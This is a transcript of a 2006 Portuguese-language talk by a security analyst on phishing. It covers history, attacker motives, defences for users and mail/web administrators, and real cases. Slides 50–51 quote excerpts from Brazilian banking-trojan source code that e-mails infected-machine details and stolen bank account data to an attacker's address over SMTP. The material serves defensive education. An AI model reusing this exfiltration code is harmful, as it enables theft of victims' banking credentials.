impacto e análise de phising - humberto sartini · 2006-03-31 · como o usuário pode se prevenir...

55
Impacto e Análise de Phising Humberto Sartini http://web.onda.com.br/humberto

Upload: others

Post on 23-Jul-2020

0 views

Category:

Documents


0 download

TRANSCRIPT

Page 1: Impacto e Análise de Phising - Humberto Sartini · 2006-03-31 · Como o usuário pode se prevenir ? Leitores de E-mails Manter sempre a versão mais atualizada do programa leitor

Impacto e Análise de Phising

Humberto Sartinihttp://web.onda.com.br/humberto

Page 2: Impacto e Análise de Phising - Humberto Sartini · 2006-03-31 · Como o usuário pode se prevenir ? Leitores de E-mails Manter sempre a versão mais atualizada do programa leitor

Palestrante

Humberto Sartini

● Analista de Segurança do Provedor OndaRPC

● Participante dos projetos:● Rau-Tu Linux ( http://www.rau-tu.unicamp.br/linux )● HoneypotBR ( http://www.honeypot.com.br/ )● RootCheck ( http://www.ossec.net/rootcheck/ )

● Participante do:● IV e V Fórum Internacional de SL● Conferência Internacional de SL ( Curitiba - 2003 )● Conisli (São Paulo/SP - 2004)

Page 3: Impacto e Análise de Phising - Humberto Sartini · 2006-03-31 · Como o usuário pode se prevenir ? Leitores de E-mails Manter sempre a versão mais atualizada do programa leitor

Tópicos

● O que é Phising ?

● História do Phising

● Cenário Atual

● Motivação do Phiser

● Como o usuário pode se prevenir ?

● O que o administrador pode fazer ?

● Impactos causados

● Exemplos

● Análise de Phising em tempo real

Page 4: Impacto e Análise de Phising - Humberto Sartini · 2006-03-31 · Como o usuário pode se prevenir ? Leitores de E-mails Manter sempre a versão mais atualizada do programa leitor

O que é Phising ?

É um termo criado para descrever o tipo de fraude que se dá através do envio de mensagem não solicitada, que se passa por comunicação de uma instituição conhecida e que procura induzir o acesso a páginas e/ou programas fraudulentos, projetados para furtar dados pessoais e financeiros de usuários.

Fonte: http://cartilha.cert.br/

Page 5: Impacto e Análise de Phising - Humberto Sartini · 2006-03-31 · Como o usuário pode se prevenir ? Leitores de E-mails Manter sempre a versão mais atualizada do programa leitor

O que é Phising ?

A palavra Phising (de “fishing”) vem de uma analogia criada pelos fraudadores, onde “iscas” (e-mails) são usados para “pescar” senhas e dados financeiros de usuários da Internet.

Fonte: http://cartilha.cert.br/

Page 6: Impacto e Análise de Phising - Humberto Sartini · 2006-03-31 · Como o usuário pode se prevenir ? Leitores de E-mails Manter sempre a versão mais atualizada do programa leitor

História do Phising

● Em janeiro de 1996 aparecimento do termo Phising no NewsGroup da 2600 Magazine

● AOL➔1990: Criação de contas com dados falsos (Nome, Número de Cartão de Crédito, etc ...)

➔1995: Utilização de “Força-Bruta”➔1997: E-mail “Suporte AOL” solicitando dados de usuário e senha.

Fonte: Wikipedia

Page 7: Impacto e Análise de Phising - Humberto Sartini · 2006-03-31 · Como o usuário pode se prevenir ? Leitores de E-mails Manter sempre a versão mais atualizada do programa leitor

Cenário Atual

Formas de Envio● Através de E-mails (quase que a totalidade)

● Sites com códigos maliciosos que aproveitam “falhas” de segurança de Navegadores, Leitores de E-mails e Sistemas Operacionais

● Sites com “brechas” de segurança (PHP Nuke, FormMail, ...)

● Programas de Mensagem Instantânea (MSN, AIM, ICQ, ...)

● Combinação de duas ou mais técnicas

Page 8: Impacto e Análise de Phising - Humberto Sartini · 2006-03-31 · Como o usuário pode se prevenir ? Leitores de E-mails Manter sempre a versão mais atualizada do programa leitor

Cenário Atual

Facilidades encontradas pelo Phiser:

● Código fonte de vários Phising/Scam em várias linguagens

● Compactador de EXE (Petite)

● Versões “bugadas” de Softwares

● Ingenuidade (??) do usuário

Page 9: Impacto e Análise de Phising - Humberto Sartini · 2006-03-31 · Como o usuário pode se prevenir ? Leitores de E-mails Manter sempre a versão mais atualizada do programa leitor

Cenário Atual

Facilidades encontradas pelo Phiser:

● “Burrocracia” das Operadoras e Grandes Provedores

● Delegacias Virtuais despreparadas e sem equipamentos

Page 10: Impacto e Análise de Phising - Humberto Sartini · 2006-03-31 · Como o usuário pode se prevenir ? Leitores de E-mails Manter sempre a versão mais atualizada do programa leitor

Cenário Atual

2002 2003 2004 20050,00

5,00

10,00

15,00

20,00

25,00

30,00

35,00

40,00

45,00

50,00

55,00

60,00

65,00

Crescimento de Fraudes

Af

Aw

Dos

Fraude

Invasão

Scan

Worm

Page 11: Impacto e Análise de Phising - Humberto Sartini · 2006-03-31 · Como o usuário pode se prevenir ? Leitores de E-mails Manter sempre a versão mais atualizada do programa leitor

Motivação do Phiser

Page 12: Impacto e Análise de Phising - Humberto Sartini · 2006-03-31 · Como o usuário pode se prevenir ? Leitores de E-mails Manter sempre a versão mais atualizada do programa leitor

Motivação do Phiser

● Impunidade

● Legislação Falha ( Nacional e Internacional )

● Máquinas Escravas x Pichação de Sites

● Aluguel de BOTNET ($$$)

Page 13: Impacto e Análise de Phising - Humberto Sartini · 2006-03-31 · Como o usuário pode se prevenir ? Leitores de E-mails Manter sempre a versão mais atualizada do programa leitor

Como o usuário pode se prevenir ?

● Browsers

➔Manter o browser sempre atualizado➔Desativar a execução de programas Java, JavaScripts, ActiveX e Janelas pop-up

➔Somente acessar sites de instituições financeiras e de comércio eletrônico digitando o endereço diretamente no seu browser

Fonte: http://cartilha.cert.br

Page 14: Impacto e Análise de Phising - Humberto Sartini · 2006-03-31 · Como o usuário pode se prevenir ? Leitores de E-mails Manter sempre a versão mais atualizada do programa leitor

Como o usuário pode se prevenir ?● Leitores de E-mails

➔Manter sempre a versão mais atualizada do programa leitor de e-mails

➔Não clicar em links que, por ventura, possam aparecer no conteúdo do e-mail

➔Evitar abrir arquivos ou executar programas anexados aos e-mails

➔Desconfiar sempre dos arquivos anexados à mensagem, mesmo que tenham sido enviados por pessoas ou instituições conhecidas

Fonte: http://cartilha.cert.br

Page 15: Impacto e Análise de Phising - Humberto Sartini · 2006-03-31 · Como o usuário pode se prevenir ? Leitores de E-mails Manter sempre a versão mais atualizada do programa leitor

O que o administrador pode fazer ?

● É fundamental para amenizar os impactos causados pelos Phisings / Scams

● Notificar o incidente para os contatos da rede e para os grupos de segurança das redes envolvidas, além de copiar o e-mail para o Cert.br

● Efetuar configurações especificas para não permitir e/ou amenizar a propagação dos Phisings / Scams

Page 16: Impacto e Análise de Phising - Humberto Sartini · 2006-03-31 · Como o usuário pode se prevenir ? Leitores de E-mails Manter sempre a versão mais atualizada do programa leitor

O que o administrador pode fazer ?

● Servidores de E-mails

➔Atenção especial aos e-mails com os seguintes anexos: bat, chm, exe, hlp, lnk, pif, reg, scr, shs, vbe, vbs, wsf e wsh

➔Atenção especial aos e-mails com link apontando para arquivos com as seguintes extensões: bat, pif e scr

➔Ativação da checagem de DNS Reverso, HELO, Listas RBL e SPF

Page 17: Impacto e Análise de Phising - Humberto Sartini · 2006-03-31 · Como o usuário pode se prevenir ? Leitores de E-mails Manter sempre a versão mais atualizada do programa leitor

O que o administrador pode fazer ?

● Servidores de Páginas

➔Alteração de “Mime Type” de arquivos com extensão duvidosas (bat, com, pif, scr)

➔Atenção a CGI (FormMail)e PHP (Php Nuke)

➔Eliminar “Cross Site Scripting”

Page 18: Impacto e Análise de Phising - Humberto Sartini · 2006-03-31 · Como o usuário pode se prevenir ? Leitores de E-mails Manter sempre a versão mais atualizada do programa leitor
Page 19: Impacto e Análise de Phising - Humberto Sartini · 2006-03-31 · Como o usuário pode se prevenir ? Leitores de E-mails Manter sempre a versão mais atualizada do programa leitor
Page 20: Impacto e Análise de Phising - Humberto Sartini · 2006-03-31 · Como o usuário pode se prevenir ? Leitores de E-mails Manter sempre a versão mais atualizada do programa leitor

http://www.brturbo.com.br/includes/barrap.jsp?c=FFFFFF&url=http://www.pop.com.br/barra.php?url=http://www.oi.com.br/services/PO/FrameSet/FrameSet.php?URL=http://www.ibest.com.br/site/parceiros/estadao.jsp?link=http://www.ibest.estadao.com.br/agestado/?i=1

Page 21: Impacto e Análise de Phising - Humberto Sartini · 2006-03-31 · Como o usuário pode se prevenir ? Leitores de E-mails Manter sempre a versão mais atualizada do programa leitor

Impactos causados

● Perda de Produtividade

● Consumo de recursos computacionais (processamento, armazenamento, banda, etc ...)

● Golpes e Fraudes

● Ameaça a Segurança da Informação

Page 22: Impacto e Análise de Phising - Humberto Sartini · 2006-03-31 · Como o usuário pode se prevenir ? Leitores de E-mails Manter sempre a versão mais atualizada do programa leitor
Page 23: Impacto e Análise de Phising - Humberto Sartini · 2006-03-31 · Como o usuário pode se prevenir ? Leitores de E-mails Manter sempre a versão mais atualizada do programa leitor
Page 24: Impacto e Análise de Phising - Humberto Sartini · 2006-03-31 · Como o usuário pode se prevenir ? Leitores de E-mails Manter sempre a versão mais atualizada do programa leitor
Page 25: Impacto e Análise de Phising - Humberto Sartini · 2006-03-31 · Como o usuário pode se prevenir ? Leitores de E-mails Manter sempre a versão mais atualizada do programa leitor
Page 26: Impacto e Análise de Phising - Humberto Sartini · 2006-03-31 · Como o usuário pode se prevenir ? Leitores de E-mails Manter sempre a versão mais atualizada do programa leitor

Exemplos e Casos Reais

Todos os exemplos de Phisings, e muitos outros, estão no site: 

http://web.onda.com.br/humberto

Page 27: Impacto e Análise de Phising - Humberto Sartini · 2006-03-31 · Como o usuário pode se prevenir ? Leitores de E-mails Manter sempre a versão mais atualizada do programa leitor
Page 28: Impacto e Análise de Phising - Humberto Sartini · 2006-03-31 · Como o usuário pode se prevenir ? Leitores de E-mails Manter sempre a versão mais atualizada do programa leitor
Page 29: Impacto e Análise de Phising - Humberto Sartini · 2006-03-31 · Como o usuário pode se prevenir ? Leitores de E-mails Manter sempre a versão mais atualizada do programa leitor
Page 30: Impacto e Análise de Phising - Humberto Sartini · 2006-03-31 · Como o usuário pode se prevenir ? Leitores de E-mails Manter sempre a versão mais atualizada do programa leitor
Page 31: Impacto e Análise de Phising - Humberto Sartini · 2006-03-31 · Como o usuário pode se prevenir ? Leitores de E-mails Manter sempre a versão mais atualizada do programa leitor
Page 32: Impacto e Análise de Phising - Humberto Sartini · 2006-03-31 · Como o usuário pode se prevenir ? Leitores de E-mails Manter sempre a versão mais atualizada do programa leitor
Page 33: Impacto e Análise de Phising - Humberto Sartini · 2006-03-31 · Como o usuário pode se prevenir ? Leitores de E-mails Manter sempre a versão mais atualizada do programa leitor
Page 34: Impacto e Análise de Phising - Humberto Sartini · 2006-03-31 · Como o usuário pode se prevenir ? Leitores de E-mails Manter sempre a versão mais atualizada do programa leitor
Page 35: Impacto e Análise de Phising - Humberto Sartini · 2006-03-31 · Como o usuário pode se prevenir ? Leitores de E-mails Manter sempre a versão mais atualizada do programa leitor
Page 36: Impacto e Análise de Phising - Humberto Sartini · 2006-03-31 · Como o usuário pode se prevenir ? Leitores de E-mails Manter sempre a versão mais atualizada do programa leitor
Page 37: Impacto e Análise de Phising - Humberto Sartini · 2006-03-31 · Como o usuário pode se prevenir ? Leitores de E-mails Manter sempre a versão mais atualizada do programa leitor
Page 38: Impacto e Análise de Phising - Humberto Sartini · 2006-03-31 · Como o usuário pode se prevenir ? Leitores de E-mails Manter sempre a versão mais atualizada do programa leitor
Page 39: Impacto e Análise de Phising - Humberto Sartini · 2006-03-31 · Como o usuário pode se prevenir ? Leitores de E-mails Manter sempre a versão mais atualizada do programa leitor
Page 40: Impacto e Análise de Phising - Humberto Sartini · 2006-03-31 · Como o usuário pode se prevenir ? Leitores de E-mails Manter sempre a versão mais atualizada do programa leitor
Page 41: Impacto e Análise de Phising - Humberto Sartini · 2006-03-31 · Como o usuário pode se prevenir ? Leitores de E-mails Manter sempre a versão mais atualizada do programa leitor
Page 42: Impacto e Análise de Phising - Humberto Sartini · 2006-03-31 · Como o usuário pode se prevenir ? Leitores de E-mails Manter sempre a versão mais atualizada do programa leitor
Page 43: Impacto e Análise de Phising - Humberto Sartini · 2006-03-31 · Como o usuário pode se prevenir ? Leitores de E-mails Manter sempre a versão mais atualizada do programa leitor
Page 44: Impacto e Análise de Phising - Humberto Sartini · 2006-03-31 · Como o usuário pode se prevenir ? Leitores de E-mails Manter sempre a versão mais atualizada do programa leitor
Page 45: Impacto e Análise de Phising - Humberto Sartini · 2006-03-31 · Como o usuário pode se prevenir ? Leitores de E-mails Manter sempre a versão mais atualizada do programa leitor
Page 46: Impacto e Análise de Phising - Humberto Sartini · 2006-03-31 · Como o usuário pode se prevenir ? Leitores de E-mails Manter sempre a versão mais atualizada do programa leitor
Page 47: Impacto e Análise de Phising - Humberto Sartini · 2006-03-31 · Como o usuário pode se prevenir ? Leitores de E-mails Manter sempre a versão mais atualizada do programa leitor
Page 48: Impacto e Análise de Phising - Humberto Sartini · 2006-03-31 · Como o usuário pode se prevenir ? Leitores de E-mails Manter sempre a versão mais atualizada do programa leitor

Porc. (%)0,00

10,00

20,00

30,00

40,00

50,00

60,00

70,00

80,00

90,00

100,00

Análise de ArtefatoKaspersky

NOD32v2

VBA32

Sybari

DrWeb

McAfee

CAT-QuickHeal

Fortinet

BitDefender

Ikarus

Avira

AntiVir

AVG

ClamAV

Panda

Sophos

eTrust-Iris

Norman

TheHacker

Avast

Symantec

F-Prot

Page 49: Impacto e Análise de Phising - Humberto Sartini · 2006-03-31 · Como o usuário pode se prevenir ? Leitores de E-mails Manter sempre a versão mais atualizada do programa leitor

Exemplos e Casos Reais

● Agora serão mostradas alguns trechos dos códigos fontes dos softwares utilizados

● Esse software simula os seguintes bancos: BB, Real, Itau, Bradesco,  Caixa,  Unibanco,  UniEmpresa,  Banespa, Santander, BBJuridica, BEC,   BRB, NossaCaixa, Banrisul, BancoRural e Nordeste

Page 50: Impacto e Análise de Phising - Humberto Sartini · 2006-03-31 · Como o usuário pode se prevenir ? Leitores de E-mails Manter sempre a versão mais atualizada do programa leitor

Exemplos e Casos Reaiscomputador:=nomecomputador;messagebody.Body.Add('Nome do Computador: ' + computador + ' Infected' );messagebody.Body.Add('IP: '+ GetIP +' ');messagebody.Body.Add('Data: '+ datetostr(now) +' Hora: '+ timetostr(time) +' ');messagebody.From.Name := 'Makina: ' + computador;messagebody.Recipients.EMailAddresses := '[email protected]';messagebody.Subject := computador + ' Infectado';SMTP.Host := 'smtp.XXXX.com.br';SMTP.AuthenticationType := atLogin;SMTP.Username := 'XXXXXX';SMTP.Password := 'XXXXXX';SMTP.Port := 25;smtp.Connect;Trysmtp.Send(messagebody);except  SMTP.Host :='mx2.mail.yahoo.com';

Page 51: Impacto e Análise de Phising - Humberto Sartini · 2006-03-31 · Como o usuário pode se prevenir ? Leitores de E-mails Manter sempre a versão mais atualizada do programa leitor

Exemplos e Casos Reais SMTP.Host := 'smtp.XXXX.com.br'; // põe aqui o seu smtp  SMTP.AuthenticationType := atLogin;  SMTP.Port:= 25;  SMTP.Username := 'XXXXXXXX'; // o user  SMTP.Password := 'XXXXXXXX'; // a senha  try SMTP.Connect; except self.close; end;with messagebody do  begin    From.Text := 'h3llm45t3rr';    From.Address := '[email protected]'; //    Recipients.EMailAddresses := '[email protected]'; // Quem receberá as info    Subject := 'bank Accounts';  //antes reflita q o CrAzY é o maior dos maiores ^^    Body.AddStrings(Dados);  end;

Page 52: Impacto e Análise de Phising - Humberto Sartini · 2006-03-31 · Como o usuário pode se prevenir ? Leitores de E-mails Manter sempre a versão mais atualizada do programa leitor

Análise de Phising em tempo real

● Fedora Core 4● Apache● Dsniff● Ethereal● Qemu● TcpDump

● Windows 98● Internet Explorer 6

Page 53: Impacto e Análise de Phising - Humberto Sartini · 2006-03-31 · Como o usuário pode se prevenir ? Leitores de E-mails Manter sempre a versão mais atualizada do programa leitor

Contato

● Através do site ou e-mail

http://web.onda.com.br/humberto

[email protected]

Page 54: Impacto e Análise de Phising - Humberto Sartini · 2006-03-31 · Como o usuário pode se prevenir ? Leitores de E-mails Manter sempre a versão mais atualizada do programa leitor

Créditos

Sites consultados:

●Cert.br – Cartilha de Segurança para Internethttp://cartilha.cert.br/

●Fedorahttp://fedora.redhat.com

●RNPhttp://www.rnp.br/noticias/imprensa/2005/not­imp­abril2005­coord.html

●Spam Cost Calculatorhttp://www.cmsconnect.com/Marketing/spamcalc.htm

●Wikipediahttp://en.wikipedia.org/wiki/Phishing

Page 55: Impacto e Análise de Phising - Humberto Sartini · 2006-03-31 · Como o usuário pode se prevenir ? Leitores de E-mails Manter sempre a versão mais atualizada do programa leitor

Créditos

● Figura Slide 1:http://pcforalla.idg.se/ArticlePages/200504/04/20050404084028_PFA/phising.jpg

● Figura Slide 10 – Dados obtidos em:http://www.cert.br/stats/incidentes/

● Figura Slide 11:http://www.sindpdce.org.br/imagens/noticias/dinheiro.gif

● Figura Slide 22 e 23:http://www.cmsconnect.com/Marketing/spamcalc.htm

●Outras Figuras:Arquivo particular